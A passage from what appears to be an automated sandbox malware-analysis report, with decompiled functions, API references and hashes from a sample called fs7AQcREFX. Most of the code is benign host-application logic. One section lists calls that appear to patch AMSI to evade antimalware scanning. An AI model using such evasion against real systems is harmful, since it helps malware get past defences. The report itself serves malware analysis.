								_t31 = CharNextA(_t44);
								 *_t63 = _t31;
								_t32 = _t31 - _t44;
								_t7 = _t65 + 1; // 0x1
								if(_t32 + _t7 >= _v8 + 0x1000) {
									L28:
									return 0x80020009;
								} else {
									if(_t32 > 0) {
										_t46 = _t44 - _t65;
										do {
											 *_t65 =  *((intOrPtr*)(_t46 + _t65));
											_t65 = _t65 + 1;
											_t32 = _t32 - 1;
										} while (_t32 != 0);
									}
									_t26 =  *_t63;
									continue;
								}
							} else {
								break;
							}
							goto L29;
						}
						if( *( *_t63) == 0) {
							goto L28;
						} else {
							 *_t65 = 0;
							 *_t63 = CharNextA( *_t63);
							return 0;
						}
					}
				} else {
					return 0x80020009;
				}
				L29:
			}

0x000f2be0
0x000f2be5
0x000f2be7
0x000f2be7
0x000f2bec
0x000f2bf2
0x00000000
0x00000000
0x000f2bfb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000f2bfb
0x000f2c0d
0x000f2c0d
0x000f2c0f
0x000f2c13
0x000f2c20
0x000f2c25
0x000f2cb0
0x000f2cb0
0x000f2cb5
0x000f2cbb
0x000f2ccb
0x000f2ccc
0x000f2cd5
0x000f2cd7
0x000f2cd9
0x000f2ce5
0x00000000
0x000f2ce7
0x000f2ce9
0x000f2ceb
0x000f2cf0
0x000f2cf3
0x000f2cf5
0x000f2cf6
0x000f2cf6
0x000f2cf0
0x00000000
0x000f2ce9
0x000f2cbd
0x000f2cc4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000f2cc4
0x00000000
0x000f2cf9
0x000f2cfb
0x000f2d00
0x000f2d01
0x000f2d0a
0x000f2c2b
0x000f2c32
0x000f2c34
0x000f2c36
0x000f2c3b
0x000f2c40
0x000f2c4a
0x000f2c4f
0x000f2c54
0x000f2c54
0x000f2c56
0x000f2c59
0x000f2c62
0x000f2c64
0x000f2c66
0x000f2c72
0x000f2d0b
0x000f2d15
0x000f2c78
0x000f2c7a
0x000f2c7c
0x000f2c80
0x000f2c83
0x000f2c85
0x000f2c86
0x000f2c86
0x000f2c80
0x000f2c89
0x00000000
0x000f2c8b
0x00000000
0x00000000
0x00000000
0x00000000
0x000f2c40
0x000f2c98
0x00000000
0x000f2c9a
0x000f2c9a
0x000f2ca3
0x000f2cab
0x000f2cab
0x000f2c98
0x000f2c15
0x000f2c1e
0x000f2c1e
0x00000000

APIs

CharNextA.USER32(?,?,?,?,000F31CB,?,?,00000000,00000003,?,?), ref: 000F2C03
CharNextA.USER32(?,00000000,?,?,?,000F31CB,?,?,00000000,00000003,?,?), ref: 000F2C32
CharNextA.USER32(00000000,?,?,?,000F31CB,?,?,00000000,00000003,?,?), ref: 000F2C43
CharNextA.USER32(00000000,?,?,?,000F31CB,?,?,00000000,00000003,?,?), ref: 000F2C52
CharNextA.USER32(74918CE0,?,?,?,000F31CB,?,?,00000000,00000003,?,?), ref: 000F2C59
CharNextA.USER32(?,?,?,?,000F31CB,?,?,00000000,00000003,?,?), ref: 000F2CA0

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: f48ea53ed70d3daa49ece1d7c1cad6a15ee04e3deedac155c8c24715e5fb3ac2
Instruction ID: af426ba1f0b1c1a3a82d40f10551acd4cba9ab55e19d33fb5342f6c28091debf
Opcode Fuzzy Hash: f48ea53ed70d3daa49ece1d7c1cad6a15ee04e3deedac155c8c24715e5fb3ac2
Instruction Fuzzy Hash: 9441267050828A8FE722CF78D890778BBE5AF1E301F244599D98AC7B52D7718C90EBD0

Uniqueness

Uniqueness Score: -1.00%

Function 02527317 Relevance: 8.9, APIs: 7, Instructions: 124stringmemoryCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000), ref: 02527346
lstrlen.KERNEL32(00000000), ref: 02527353
StrStrIA.SHLWAPI(00000000,00000000), ref: 0252737D
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 025273BD
StrStrIA.SHLWAPI(00000000,00000000), ref: 025273F1
lstrcpyn.KERNEL32(00000000,00000000,-00000001), ref: 02527420
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 02527465

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: AllocVirtuallstrlen$lstrcpyn
String ID:
API String ID: 808621155-0
Opcode ID: 0a6d6672c4df7ab45906cf38d038e4ad6876dbdeef4d54c84a3af67eb9c324d5
Instruction ID: 6756e614fa7aa3449e8be02019cd976dc32cc71417d9a41b6f8d7773225b6fee
Opcode Fuzzy Hash: 0a6d6672c4df7ab45906cf38d038e4ad6876dbdeef4d54c84a3af67eb9c324d5
Instruction Fuzzy Hash: 9151D771D00219EFDB08CF98C994BEEBBB5FF49309F148559E905A7280D374AA84CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 000F6860 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E000F6860(intOrPtr* __ecx, intOrPtr* __esi, intOrPtr _a4) {
				signed int _v12;
				struct tagENHMETAHEADER _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				struct HENHMETAFILE__* _v176;
				intOrPtr* _v180;
				int _v184;
				int _v188;
				int _v192;
				void* __ebx;
				void* __edi;
				signed int _t40;
				intOrPtr _t42;
				signed int _t46;
				signed int _t48;
				int _t49;
				int _t50;
				intOrPtr _t58;
				intOrPtr* _t66;
				int _t68;
				int _t75;
				int _t76;
				intOrPtr* _t77;
				int _t83;
				intOrPtr _t85;
				int _t88;
				intOrPtr* _t89;
				signed int _t90;

				_t89 = __esi;
				_t40 =  *0x159060; // 0x1f9a9bdf
				_v12 = _t40 ^ _t90;
				_t42 = _a4;
				_t68 =  *((intOrPtr*)(__esi + 0xc)) -  *((intOrPtr*)(__esi + 4));
				_t88 =  *((intOrPtr*)(__esi + 8)) -  *__esi;
				_v180 = __ecx;
				if(_t88 >= 0 && _t68 >= 0) {
					_v176 =  *((intOrPtr*)(_t42 + 8));
					_v172 = 0;
					_v168 = 0;
					E00106820( &_v164, 0, 0x6c);
					_v164.iType = 1;
					_v164.nSize = 0x6c;
					_t46 = GetEnhMetaFileHeader(_v176, 0x6c,  &_v164);
					asm("sbb eax, eax");
					_t48 =  ~_t46 &  &_v164;
					_t75 =  *(_t48 + 0x48);
					_t49 =  *(_t48 + 0x4c);
					_v184 = _t75;
					_v192 = _t49;
					_t50 = MulDiv(_t88, _t49, _t75);
					_t83 = _v192;
					_v188 = _t50;
					_t76 = MulDiv(_t68, _v184, _t83);
					if(_t76 > _t88) {
						_t77 = _v180;
						_t88 = _v188;
						 *_t77 =  *__esi;
						_t80 =  *((intOrPtr*)(__esi + 8));
						 *((intOrPtr*)(_t77 + 8)) = _t80;
						asm("cdq");
						_t58 = (_t68 - _t88 - _t80 >> 1) +  *((intOrPtr*)(__esi + 4));
						 *((intOrPtr*)(_t77 + 4)) = _t58;
						 *((intOrPtr*)(_t77 + 0xc)) = _t58 + _t88;
					} else {
						asm("cdq");
						_t85 =  *__esi + (_t88 - _t76 - _t83 >> 1);
						_t66 = _v180;
						 *_t66 = _t85;
						 *((intOrPtr*)(_t66 + 8)) = _t85 + _t76;
						 *((intOrPtr*)(_t66 + 4)) =  *((intOrPtr*)(__esi + 4));
						_t80 =  *((intOrPtr*)(__esi + 0xc));
						 *((intOrPtr*)(_t66 + 0xc)) =  *((intOrPtr*)(__esi + 0xc));
					}
					_push(_v172);
					E001062C2();
					_push(_v168);
					_t42 = E001062C2();
				}
				return E001059E6(_t42, _t68, _v12 ^ _t90, _t80, _t88, _t89);
			}

0x000f6860
0x000f6869
0x000f6870
0x000f6873
0x000f687a
0x000f6881
0x000f6883
0x000f688d
0x000f68a8
0x000f68ae
0x000f68b4
0x000f68ba
0x000f68d2
0x000f68dc
0x000f68e6
0x000f68ee
0x000f68f6
0x000f68f8
0x000f68fb
0x000f6901
0x000f6907
0x000f690d
0x000f6913
0x000f6919
0x000f692e
0x000f6932
0x000f695e
0x000f6964
0x000f696a
0x000f696c
0x000f6973
0x000f6976
0x000f697b
0x000f697e
0x000f6983
0x000f6934
0x000f6938
0x000f693f
0x000f6941
0x000f6947
0x000f694b
0x000f6951
0x000f6954
0x000f6957
0x000f6957
0x000f698c
0x000f698d
0x000f6998
0x000f6999
0x000f699e
0x000f69b0

APIs

_memset.LIBCMT ref: 000F68BA
GetEnhMetaFileHeader.GDI32(?,0000006C,?), ref: 000F68E6
MulDiv.KERNEL32(?,?,?), ref: 000F690D
MulDiv.KERNEL32(?,?,?), ref: 000F6928

Strings

l, xrefs: 000F68DC

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: FileHeaderMeta_memset
String ID: l
API String ID: 711141002-2517025534
Opcode ID: 7ee95aecd266a91dc613eed401d1fd4ffcb225844a2530a97ad99cb84cdbba2e
Instruction ID: 70c53706e4dd327b7bc33c7ef982b547b64837cb893c8a824141d4dab807e590
Opcode Fuzzy Hash: 7ee95aecd266a91dc613eed401d1fd4ffcb225844a2530a97ad99cb84cdbba2e
Instruction Fuzzy Hash: CA411875A003189FCB24CF68CC85B9ABBFAAF88310F1485ADA58DD7351DB71A984CF51

Uniqueness

Uniqueness Score: -1.00%

Function 025524F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(02554070,00000000,00000800), ref: 02552509
GetProcAddress.KERNEL32(00000000,02554078), ref: 02552525
VirtualProtect.KERNEL32(?,00000004,00000040,?), ref: 02552560
VirtualProtect.KERNEL32(?,00000004,?,?), ref: 02552581

Strings

AMSI, xrefs: 0255254C

Memory Dump Source

Source File: 00000000.00000002.719923860.0000000002551000.00000020.00001000.00020000.00000000.sdmp, Offset: 02551000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2551000_fs7AQcREFX.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: AMSI
API String ID: 3300690313-3828877684
Opcode ID: b87683f423567bcf5d9df14fa585695669d9abcdf0a5cff263d60f442295d334
Instruction ID: c087c404f03209687bc25efbc1d5804fd47033238017953ee7be9414bda767f9
Opcode Fuzzy Hash: b87683f423567bcf5d9df14fa585695669d9abcdf0a5cff263d60f442295d334
Instruction Fuzzy Hash: D311C9B5E40319EFDB04CF94C869BAEBBB4BF48300F104599EA06AB250D7706A54DF59

Uniqueness

Uniqueness Score: -1.00%

Function 025284B7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,040118A0,00000000,000F003F,00000000), ref: 025284F7
RegQueryValueExA.ADVAPI32(00000000,04011890,00000000,00000003,?,00000020), ref: 02528528
RegDeleteValueA.ADVAPI32(00000000,04011890), ref: 02528545
RegCloseKey.ADVAPI32(00000000), ref: 0252854F

Strings

, xrefs: 02528501

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID:
API String ID: 647993726-3916222277
Opcode ID: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction ID: e8bfdc46303c263eddcf9773e9c68300f2ee73eddae0b1cfdff711ea919872f1
Opcode Fuzzy Hash: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction Fuzzy Hash: E2111F75904208AFDB04DFE4D858BBEBBB8FB48304F148158EA11AB281D77D9A45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000F1480 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
registrylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E000F1480(void** __ebx, int* __edi, intOrPtr* __esi, void* _a4, char* _a8) {
				struct HINSTANCE__* _t9;
				_Unknown_base(*)()* _t10;

				if( *__esi == 0) {
					if( *((intOrPtr*)(__esi + 4)) == 0) {
						goto L6;
					} else {
						return RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x2001f, 0, __ebx, __edi);
					}
				} else {
					_t9 = GetModuleHandleA("Advapi32.dll");
					if(_t9 == 0) {
						L6:
						return 1;
					} else {
						_t10 = GetProcAddress(_t9, "RegCreateKeyTransactedA");
						if(_t10 == 0) {
							goto L6;
						} else {
							return  *_t10(_a4, _a8, 0, 0, 0, 0x2001f, 0, __ebx, __edi,  *__esi, 0);
						}
					}
				}
			}

0x000f1486
0x000f14cd
0x00000000
0x000f14cf
0x000f14ed
0x000f14ed
0x000f1488
0x000f148d
0x000f1495
0x000f14f0
0x000f14f6
0x000f1497
0x000f149d
0x000f14a5
0x00000000
0x000f14a7
0x000f14c6
0x000f14c6
0x000f14a5
0x000f1495

APIs

GetModuleHandleA.KERNEL32(Advapi32.dll), ref: 000F148D
GetProcAddress.KERNEL32(00000000,RegCreateKeyTransactedA), ref: 000F149D
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000), ref: 000F14E6

Strings

Advapi32.dll, xrefs: 000F1488
RegCreateKeyTransactedA, xrefs: 000F1497

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: AddressCreateHandleModuleProc
String ID: Advapi32.dll$RegCreateKeyTransactedA
API String ID: 1964897782-1184998024
Opcode ID: 443058a9c3810c39a1063bcc512c6c6c46db32fc00fe2afe0fbedb13789b38a7
Instruction ID: 929231ce8847f9520e6d9d3b8138dafe0921c1f384be9c75cf3b4628ff595faf
Opcode Fuzzy Hash: 443058a9c3810c39a1063bcc512c6c6c46db32fc00fe2afe0fbedb13789b38a7
Instruction Fuzzy Hash: 7A011271380308BAE6349A949C49FB7779DA7D8B40F20C019B744AB5C5C6F1B890D664

Uniqueness

Uniqueness Score: -1.00%

Function 000F8380 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000F8380(void* __eax, void* __eflags, CHAR* _a4, CHAR* _a8) {
				void* __edi;
				void* _t21;
				void* _t26;
				void* _t27;

				_t26 = __eax;
				_t27 = __eax + 0x250;
				_t21 = E000F71E0(_a4, _t27);
				if(_t21 == 0) {
					MessageBoxA( *(_t26 + 4), "Error reading file!\n", 0x11293e, 0);
					return _t21;
				} else {
					lstrcpyA(_t27 + 0x58, _a4);
					lstrcpyA(_t27 + 0x15c, _a8);
					SendMessageA( *(_t27 + 4), 0xb9, 0, 0);
					E000F8160(_t26);
					return _t21;
				}
			}

0x000f8386
0x000f838b
0x000f8397
0x000f839b
0x000f83ed
0x000f83f9
0x000f839d
0x000f83a5
0x000f83b6
0x000f83c9
0x000f83cf
0x000f83da
0x000f83da

APIs

Part of subcall function 000F71E0: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,08000080,00000000), ref: 000F71FA

lstrcpyA.KERNEL32(?,?,?,?,?,?,000F8327,?,?), ref: 000F83A5
lstrcpyA.KERNEL32(?,00112D54,?,?,?,?,000F8327,?,?), ref: 000F83B6
SendMessageA.USER32(?,000000B9,00000000,00000000), ref: 000F83C9

Part of subcall function 000F8160: lstrlenA.KERNEL32(?,?,?), ref: 000F8182
Part of subcall function 000F8160: LoadStringA.USER32 ref: 000F81A2
Part of subcall function 000F8160: lstrlenA.KERNEL32(?,?,?), ref: 000F81AF
Part of subcall function 000F8160: lstrcpyA.KERNEL32(?,?,?,?), ref: 000F81C4
Part of subcall function 000F8160: lstrcatA.KERNEL32(?,00112A2C), ref: 000F81DF
Part of subcall function 000F8160: lstrcatA.KERNEL32(?, - ), ref: 000F81E7
Part of subcall function 000F8160: lstrcatA.KERNEL32(?,?,?, - ), ref: 000F81F1
Part of subcall function 000F8160: SetWindowTextA.USER32(?), ref: 000F81F8

MessageBoxA.USER32 ref: 000F83ED

Strings

Error reading file!, xrefs: 000F83E7

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrcatlstrcpy$Messagelstrlen$CreateFileLoadSendStringTextWindow
String ID: Error reading file!
API String ID: 3921680268-1254819211
Opcode ID: ead8b697e2855381caec1eef21a386b434dce13f193e7ddd92f0a8725da5fc9b
Instruction ID: fd728e72fe39910ca29cb088f641efadcdd7dc5758b9f6e08986a77d86082230
Opcode Fuzzy Hash: ead8b697e2855381caec1eef21a386b434dce13f193e7ddd92f0a8725da5fc9b
Instruction Fuzzy Hash: 39016237340608BFD714ABA9ED85FDBB7ACFB88714F10812AF71597550CAB0E94587A0

Uniqueness

Uniqueness Score: -1.00%

Function 0010E9AE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E0010E9AE(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0010E91C(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0010DF11(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E0010E39E(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_t14 = _t22 + 0xc; // 0x6e
				_push(_t27);
				_push(_a4);
				_t20 = E0010E601(_t22,  *_t14, _t26, _t27, _t31);
				if(_t20 != 0) {
					E0010DED8(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0010e9ae
0x0010e9ae
0x0010e9ae
0x0010e9ae
0x0010e9b3
0x0010e9b7
0x0010e9b9
0x0010e9bc
0x0010e9bd
0x0010e9be
0x0010e9c1
0x0010e9c6
0x0010e9c6
0x0010e9c9
0x0010e9cd
0x0010e9d0
0x0010e9d5
0x0010e9d2
0x0010e9d2
0x0010e9d2
0x0010e9d8
0x0010e9dd
0x0010e9df
0x0010e9e2
0x0010e9e5
0x0010e9e6
0x0010e9ee
0x0010e9f3
0x0010e9f7
0x0010e9fa
0x0010e9fd
0x0010ea00
0x0010ea03
0x0010ea04
0x0010ea07
0x0010ea11
0x0010ea15
0x00000000
0x0010ea15
0x0010ea1b

APIs

___BuildCatchObject.LIBCMT ref: 0010E9C1

Part of subcall function 0010E91C: ___BuildCatchObjectHelper.LIBCMT ref: 0010E952

_UnwindNestedFrames.LIBCMT ref: 0010E9D8
___FrameUnwindToState.LIBCMT ref: 0010E9E6

Strings

csm, xrefs: 0010E9BD, 0010E9D2, 0010E9E5, 0010EA03, 0010EA13
csm, xrefs: 0010E9B0

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: a3b6e0bba8c6188151cdd87e1afa2bcb579a1f25e0b14c436fbadd08ef490303
Instruction ID: 7189ae0410b4c08784ea4c01cf2b8986bc883ba92fc107fff47a52265b977eaa
Opcode Fuzzy Hash: a3b6e0bba8c6188151cdd87e1afa2bcb579a1f25e0b14c436fbadd08ef490303
Instruction Fuzzy Hash: 6801F671001119BBDF12AF52CC45EAA7FAAFF29354F004414BD98151A1D7B2D9B1DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000F1410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
registrylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E000F1410(int __ebx, void** __edi, intOrPtr* __esi, void* _a4, char* _a8) {
				struct HINSTANCE__* _t9;
				_Unknown_base(*)()* _t10;

				if( *__esi == 0) {
					if( *((intOrPtr*)(__esi + 4)) == 0) {
						goto L6;
					} else {
						return RegOpenKeyExA(_a4, _a8, 0, __ebx, __edi);
					}
				} else {
					_t9 = GetModuleHandleA("Advapi32.dll");
					if(_t9 == 0) {
						L6:
						return 1;
					} else {
						_t10 = GetProcAddress(_t9, "RegOpenKeyTransactedA");
						if(_t10 == 0) {
							goto L6;
						} else {
							return  *_t10(_a4, _a8, 0, __ebx, __edi,  *__esi, 0);
						}
					}
				}
			}

0x000f1416
0x000f1452
0x00000000
0x000f1454
0x000f1467
0x000f1467
0x000f1418
0x000f141d
0x000f1425
0x000f146a
0x000f1470
0x000f1427
0x000f142d
0x000f1435
0x00000000
0x000f1437
0x000f144b
0x000f144b
0x000f1435
0x000f1425

APIs

GetModuleHandleA.KERNEL32(Advapi32.dll), ref: 000F141D
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedA), ref: 000F142D
RegOpenKeyExA.ADVAPI32(?,?,00000000), ref: 000F1460

Strings

Advapi32.dll, xrefs: 000F1418
RegOpenKeyTransactedA, xrefs: 000F1427

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: AddressHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedA
API String ID: 1337834000-496252237
Opcode ID: fa0ae69ae63515962b7e03f7fe5e58de655c932279e2c1a9eb6688598fe34cf6
Instruction ID: e2e99deeffef6c805c6105406125287dfc0869a016b46c7c708926d9e96ac013
Opcode Fuzzy Hash: fa0ae69ae63515962b7e03f7fe5e58de655c932279e2c1a9eb6688598fe34cf6
Instruction Fuzzy Hash: 63F0F97124030CABE6689BA5ED48FB777ACEBD8B41F20C019F64996990C6B5E890D770

Uniqueness

Uniqueness Score: -1.00%

Function 000F8220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000F8220(void* __eax, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* _t7;
				void* _t15;
				void* _t20;

				_t20 = __eax;
				_t7 = E000F72C0(_t15, __eax + 0x250);
				if(_t7 != 0) {
					SetWindowTextA( *(_t20 + 0x254), 0);
					lstrcpyA(_t20 + 0x2a8, 0x11293e);
					lstrcpyA(_t20 + 0x3ac, "Untitled");
					SendMessageA( *(_t20 + 0x254), 0xb9, 0, 0);
					return E000F8160(_t20);
				}
				return _t7;
			}

0x000f8223
0x000f822b
0x000f8232
0x000f823d
0x000f8255
0x000f8263
0x000f8275
0x00000000
0x000f827b
0x000f8283

APIs

Part of subcall function 000F72C0: SendMessageA.USER32(?,000000B8,00000000,00000000), ref: 000F72E4
Part of subcall function 000F72C0: GetParent.USER32(?), ref: 000F72F2
Part of subcall function 000F72C0: wsprintfA.USER32 ref: 000F730D
Part of subcall function 000F72C0: MessageBoxA.USER32 ref: 000F7325

SetWindowTextA.USER32(?,00000000), ref: 000F823D
lstrcpyA.KERNEL32(?,0011293E,?,?,?,000F7AB8), ref: 000F8255
lstrcpyA.KERNEL32(?,Untitled,?,?,?,000F7AB8), ref: 000F8263
SendMessageA.USER32(?,000000B9,00000000,00000000), ref: 000F8275

Part of subcall function 000F8160: lstrlenA.KERNEL32(?,?,?), ref: 000F8182
Part of subcall function 000F8160: LoadStringA.USER32 ref: 000F81A2
Part of subcall function 000F8160: lstrlenA.KERNEL32(?,?,?), ref: 000F81AF
Part of subcall function 000F8160: lstrcpyA.KERNEL32(?,?,?,?), ref: 000F81C4
Part of subcall function 000F8160: lstrcatA.KERNEL32(?,00112A2C), ref: 000F81DF
Part of subcall function 000F8160: lstrcatA.KERNEL32(?, - ), ref: 000F81E7
Part of subcall function 000F8160: lstrcatA.KERNEL32(?,?,?, - ), ref: 000F81F1
Part of subcall function 000F8160: SetWindowTextA.USER32(?), ref: 000F81F8

Strings

Untitled, xrefs: 000F8257

Memory Dump Source

